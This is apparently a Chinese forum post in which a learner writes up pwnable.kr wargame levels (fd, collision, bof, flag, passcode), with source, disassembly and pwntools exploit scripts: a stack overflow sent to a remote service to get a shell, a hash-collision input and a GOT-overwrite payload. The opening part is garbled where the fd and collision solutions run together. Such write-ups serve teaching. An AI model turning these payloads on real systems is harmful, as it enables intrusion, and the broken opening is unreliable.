学习了一年多的逆向,慢慢地接触了pwn,最近在学习pwn,找到了一个网址pwnable.kr
在帖子里记录自己做题的过程。
----Bin_LmmH_C
首先打开网址,看第一个题目fd
Mommy! what is a file descriptor in Linux?
* try to play the wargame your self but if you are ABSOLUTE beginner, follow this tutorial link: https://www.youtube.com/watch?v=blAxTfcW9VU
ssh fd@pwnable.kr -p2222 (pw:guest)
ssh连接,可以看到flag, fd(elf可执行文件),和fd.c三个文件
打开fd.c查看源码
fd@ubuntu:~$ cat fd.c
#include
#include
#include
char buf[32];
int main(int argc, char* argv[], char* envp[]){
if(argc from pwn import *
>>> s = '\xe8\x05\xd9\x1d'
>>> s = s + '\x01'*16
>>> s
'\xe8\x05\xd9\x1d\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01'
>>> len(s)
20
>>> e = process(['./col',s])
[x] Starting local process './col'
[+] Starting local process './col': Done
>>> e.recvline() Process './col' stopped with exit code 0
'daddy! I just managed to create a hash collision :)\n'
提交上面的flag就能够得到相应的分数了。
2016/11/13 pwnbale 第三题 bof
Nana told me that buffer overflow is one of the most common software vulnerability.
Is that true?
Download : http://pwnable.kr/bin/bof
Download : http://pwnable.kr/bin/bof.c
Running at : nc pwnable.kr 9000
wget 将两个文件下载下来,并且根据提示知道是栈溢出,所以直接阅读代码看一下
#include
#include
#include
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}
从源代码我们知道溢出就是利用overflowme这个缓冲区,更改key的值,然后让比较成功,系统执行shell命令,可以看到flag,输出flag了,
我们先反汇编看一下
objdump -d bof
0000062c :
62c: 55 push %ebp
62d: 89 e5 mov %esp,%ebp
62f: 83 ec 48 sub $0x48,%esp
632: 65 a1 14 00 00 00 mov %gs:0x14,%eax // 这里是金丝雀保护的,canary,检测栈破坏
638: 89 45 f4 mov %eax,-0xc(%ebp)
63b: 31 c0 xor %eax,%eax
63d: c7 04 24 8c 07 00 00 movl $0x78c,(%esp)
644: e8 fc ff ff ff call 645
649: 8d 45 d4 lea -0x2c(%ebp),%eax // 看到这里我们知道overflowme到ebp的地址空间大小为0x2c = 44个字节
64c: 89 04 24 mov %eax,(%esp)
64f: e8 fc ff ff ff call 650
654: 81 7d 08 be ba fe ca cmpl $0xcafebabe,0x8(%ebp) //这里就是那个关键的if比较了,看到离ebp有8个字节
65b: 75 0e jne 66b
65d: c7 04 24 9b 07 00 00 movl $0x79b,(%esp)
664: e8 fc ff ff ff call 665
669: eb 0c jmp 677
66b: c7 04 24 a3 07 00 00 movl $0x7a3,(%esp)
672: e8 fc ff ff ff call 673
677: 8b 45 f4 mov -0xc(%ebp),%eax
67a: 65 33 05 14 00 00 00 xor %gs:0x14,%eax
681: 74 05 je 688
683: e8 fc ff ff ff call 684
综合上面的分析,我们知道只要填充52个字节的字符加上关键的0xcafebabe就可以比较成功了,
一个简单的python 代码
import os
import sys
from pwn import *
def dec():
#we konw that the stack spack is 48 bytes, and 8 ebp and return address and last 4 is key
#and it has canary protect, so we had to
payload = '\x90'*52+'\xbe\xba\xfe\xca' // 注意环境为小端序
p = remote('pwnable.kr', 9000)
#print(p.recvline())
#send the payload
p.sendline(payload)
#interacting with the shell
p.interactive()
if __name__ == '__main__':
dec()
得到shell,cat flag就可以得到flag了。
第四题,这道题并不是pwn的题目,
Papa brought me a packed present! let's open it.
Download : http://pwnable.kr/bin/flag
This is reversing task. all you need is binary这是题目描述
看到hint知道应该是加壳的。
xxd flag | tail命令看一下,看到程序后面的一系列数据,
root@kali:~/pwnable/flag# xxd flag | tail
0051d20: 77c4 8a1d b0f1 d302 6973 b0a0 c023 8d6d w.......is...#.m
0051d30: 616b 424e 9948 2c86 8ec3 0232 2a45 db17 akBN.H,....2*E..
0051d40: 0981 0be3 b91f 2656 2211 c349 4608 1fb8 ......&V"..IF...
0051d50: 3b9d c5c0 e820 1e5f 5f00 01a2 30b0 9943 ;.... .__...0..C
0051d60: e968 58b1 f464 65e3 b58b 137a 54de 7375 .hX..de....zT.su
0051d70: 6022 5d52 d7e5 00bb c625 8581 116d 4992 `"]R.....%...mI.
0051d80: 9041 9f00 a092 24ff 0000 0000 5550 5821 .A....$.....UPX!
0051d90: 0000 0000 5550 5821 0d16 0807 19cc 204a ....UPX!...... J
0051da0: dbd8 21c5 3145 0100 5e70 0000 217c 0d00 ..!.1E..^p..!|..
0051db0: 4919 0089 bc00 0000 I.......
可以看到是upx加壳,
这里可以使用KALI下面的upx来脱壳,
upx -d flag
就可以得到脱壳后的ELF文件了,
使用IDA分析一些这个文件
var_8= qword ptr -8
push rbp
mov rbp, rsp
sub rsp, 10h
mov edi, offset aIWillMallocAnd ; "I will malloc() and strcpy the flag the"...
call puts ; 输出提示语句
mov edi, 64h
call malloc ; 分配内存
mov [rbp+var_8], rax
mov rdx, cs:flag ; 从这里就知道flag了
mov rax, [rbp+var_8]
mov rsi, rdx
mov rdi, rax
call sub_400320
mov eax, 0
leave
retn
main endp
看到有一个flag的标识,所以跳转到对应的地方,就可以得到flag了。
"UPX...? sounds like a delivery service :)"提交就行了。好了。
2016/11/15 第五题 passcode
题目描述:Mommy told me to make a passcode based login system.
My initial C code was compiled without any error!
Well, there was some compiler warning, but who cares about that?
ssh passcode@pwnable.kr -p2222 (pw:guest)
ssh连接进去,看到三个文件一样的是flag, passcode可执行文件和passcode.c源文件,
根据提示,说编译没有错误,就用gcc编译一下,编译了之后,发现了两个警告,
passcode.c: In function ‘login’:
passcode.c:9:8: warning: format ‘%d’ expects argument of type ‘int *’, but argument 2 has type ‘int’ [-Wformat=]
scanf("%d", passcode1);
^
passcode.c:14:15: warning: format ‘%d’ expects argument of type ‘int *’, but argument 2 has type ‘int’ [-Wformat=]
scanf("%d", passcode2);
从这里知道这个程序这里出现了问题,就是输入的变量没有使用取地址符号&,这会导致读入数据的时候,scanf会把这个变量中的值
当成存储地址来存放数据,
我们看一下源代码 cat passcode.c
passcode@ubuntu:~$ cat passcode.c
#include
#include
void login(){
int passcode1;
int passcode2;
printf("enter passcode1 : ");
scanf("%d", passcode1); // 这里有警告
fflush(stdin);
// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
printf("enter passcode2 : ");
scanf("%d", passcode2); // 这里有警告
printf("checking...\n");
if(passcode1==338150 && passcode2==13371337){
printf("Login OK!\n");
system("/bin/cat flag");
}
else{
printf("Login Failed!\n");
exit(0);
}
}
void welcome(){
char name[100];
printf("enter you name : ");
scanf("%100s", name);
printf("Welcome %s!\n", name);
}
int main(){
printf("Toddler's Secure Login System 1.0 beta.\n");
welcome();
login();
// something after login...
printf("Now I can safely trust you that you have credential :)\n");
return 0;
}
在main函数中,我们看到welcome和login函数是连续执行的,根据函数调用或者自己反汇编一下就知道,这两个函数的ebp是相同的。
在welcome函数中输入了一串100字节的name,
在login中要求我们输入的passcode1和passcode2和对应的值比较,成功,然后就可以了,我想,我们可不可以直接通过name
这个缓冲区来改变passcode1和passcode2呢?。。然而这个程序是有canary保护的,而且程序是有错误的。这里name只能修改到passcode1。
所以我们这里就是利用scanf中的输入问题,就是上面出现警告的地方,我们可以看到程序,使用了一些函数
passcode@ubuntu:~$ objdump -T passcode
passcode: file format elf32-i386
DYNAMIC SYMBOL TABLE:
00000000 DF *UND* 00000000 GLIBC_2.0 printf
00000000 DF *UND* 00000000 GLIBC_2.0 fflush
00000000 DF *UND* 00000000 GLIBC_2.4 __stack_chk_fail
00000000 DF *UND* 00000000 GLIBC_2.0 puts
00000000 DF *UND* 00000000 GLIBC_2.0 system
00000000 w D *UND* 00000000 __gmon_start__
00000000 DF *UND* 00000000 GLIBC_2.0 exit
00000000 DF *UND* 00000000 GLIBC_2.0 __libc_start_main
00000000 DF *UND* 00000000 GLIBC_2.7 __isoc99_scanf
0804876c g DO .rodata 00000004 Base _IO_stdin_used
0804a02c g DO .bss 00000004 GLIBC_2.0 stdin
想到这里,我们可以利用name来修改passcode1的值,将passcode1中的值改为某一个函数的地址,这里我们选择printf这个函数,一时got表可写
二是在login函数中,printf就在scanf("%d", passcode1)后面,修改之后,后面执行输入语句的时候,我们将printf在got中的地址给改变掉,改成
login函数中system("/bin/sh")这个指令的地址,修改完成之后,当程序执行printf函数的时候,会到got表中找地址,但是已经被我们修改了,
我们看一下printf在got中的地址。。
passcode@ubuntu:~$ objdump -R passcode
passcode: file format elf32-i386
DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
08049ff0 R_386_GLOB_DAT __gmon_start__
0804a02c R_386_COPY stdin@@GLIBC_2.0
0804a000 R_386_JUMP_SLOT printf@GLIBC_2.0 // 前面的地址就是printf的地址了
0804a004 R_386_JUMP_SLOT fflush@GLIBC_2.0
0804a008 R_386_JUMP_SLOT __stack_chk_fail@GLIBC_2.4
0804a00c R_386_JUMP_SLOT puts@GLIBC_2.0
0804a010 R_386_JUMP_SLOT system@GLIBC_2.0
0804a014 R_386_JUMP_SLOT __gmon_start__
0804a018 R_386_JUMP_SLOT exit@GLIBC_2.0
0804a01c R_386_JUMP_SLOT __libc_start_main@GLIBC_2.0
0804a020 R_386_JUMP_SLOT __isoc99_scanf@GLIBC_2.7
反汇编passcode看一些login函数
08048564 :
8048564: 55 push %ebp
8048565: 89 e5 mov %esp,%ebp
8048567: 83 ec 28 sub $0x28,%esp
804856a: b8 70 87 04 08 mov $0x8048770,%eax
804856f: 89 04 24 mov %eax,(%esp)
8048572: e8 a9 fe ff ff call 8048420
8048577: b8 83 87 04 08 mov $0x8048783,%eax
804857c: 8b 55 f0 mov -0x10(%ebp),%edx // 这里是passcode1的地址
804857f: 89 54 24 04 mov %edx,0x4(%esp)
8048583: 89 04 24 mov %eax,(%esp)
8048586: e8 15 ff ff ff call 80484a0
804858b: a1 2c a0 04 08 mov 0x804a02c,%eax
8048590: 89 04 24 mov %eax,(%esp)
8048593: e8 98 fe ff ff call 8048430
8048598: b8 86 87 04 08 mov $0x8048786,%eax
804859d: 89 04 24 mov %eax,(%esp)
80485a0: e8 7b fe ff ff call 8048420
80485a5: b8 83 87 04 08 mov $0x8048783,%eax
80485aa: 8b 55 f4 mov -0xc(%ebp),%edx
80485ad: 89 54 24 04 mov %edx,0x4(%esp)
80485b1: 89 04 24 mov %eax,(%esp)
80485b4: e8 e7 fe ff ff call 80484a0
80485b9: c7 04 24 99 87 04 08 movl $0x8048799,(%esp)
80485c0: e8 8b fe ff ff call 8048450
80485c5: 81 7d f0 e6 28 05 00 cmpl $0x528e6,-0x10(%ebp)
80485cc: 75 23 jne 80485f1
80485ce: 81 7d f4 c9 07 cc 00 cmpl $0xcc07c9,-0xc(%ebp)
80485d5: 75 1a jne 80485f1
80485d7: c7 04 24 a5 87 04 08 movl $0x80487a5,(%esp)
80485de: e8 6d fe ff ff call 8048450
80485e3: c7 04 24 af 87 04 08 movl $0x80487af,(%esp) // 看到这里执行system("/bin/sh")命令
80485ea: e8 71 fe ff ff call 8048460
80485ef: c9 leave
80485f0: c3 ret
80485f1: c7 04 24 bd 87 04 08 movl $0x80487bd,(%esp)
80485f8: e8 53 fe ff ff call 8048450
80485fd: c7 04 24 00 00 00 00 movl $0x0,(%esp)
8048604: e8 77 fe ff ff call 8048480
08048609 :
8048609: 55 push %ebp
804860a: 89 e5 mov %esp,%ebp
804860c: 81 ec 88 00 00 00 sub $0x88,%esp
8048612: 65 a1 14 00 00 00 mov %gs:0x14,%eax
8048618: 89 45 f4 mov %eax,-0xc(%ebp)
804861b: 31 c0 xor %eax,%eax
804861d: b8 cb 87 04 08 mov $0x80487cb,%eax
8048622: 89 04 24 mov %eax,(%esp)
8048625: e8 f6 fd ff ff call 8048420
804862a: b8 dd 87 04 08 mov $0x80487dd,%eax
804862f: 8d 55 90 lea -0x70(%ebp),%edx // 这里就是name开始输入的地方。
8048632: 89 54 24 04 mov %edx,0x4(%esp)
8048636: 89 04 24 mov %eax,(%esp)
8048639: e8 62 fe ff ff call 80484a0
804863e: b8 e3 87 04 08 mov $0x80487e3,%eax
8048643: 8d 55 90 lea -0x70(%ebp),%edx
计算0x70-0x10 == 0x60 == 96,,所以我们填充96个字节的字符,再填充4个字节就是passcode1中的值了,这里我们填充的是printf的地址
0x0804a000, 然后还有输入的数就是0x80485e3,因为scanf是使用%d来输入的,所以这里将0x80485e3转换为10进制数据 == 134514147
所以构造payload = 'c'*96+'\x00\xa0\x04\x08'+'\n'+'134514147\n'
passcode@ubuntu:~$ python
Python 2.7.12 (default, Jul 1 2016, 15:12:24)
[GCC 5.4.0 20160609] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> from pwn import *
>>> payload = 'c'*96+'\x00\xa0\x04\x08'+'\n'+'134514147\n'
>>> e = process('./passcode')
[x] Starting local process './passcode'
[+] Starting local process './passcode': Done
>>> e.sendline(payload)
>>> e.recvline() Process './passcode' stopped with exit code 0
"Toddler's Secure Login System 1.0 beta.\n"
>>> e.recvline()
'enter you name : Welcome cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc!\n'
>>> e.recvline()
'Sorry mom.. I got confused about scanf usage :(\n'
就可以看到上面的这个sorry的flag了,提交就行了,这里用到的叫做got复写技术。。。还有相关的got和plt的知识请搜索,好了。。
来源:http://www.12558.net
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作! |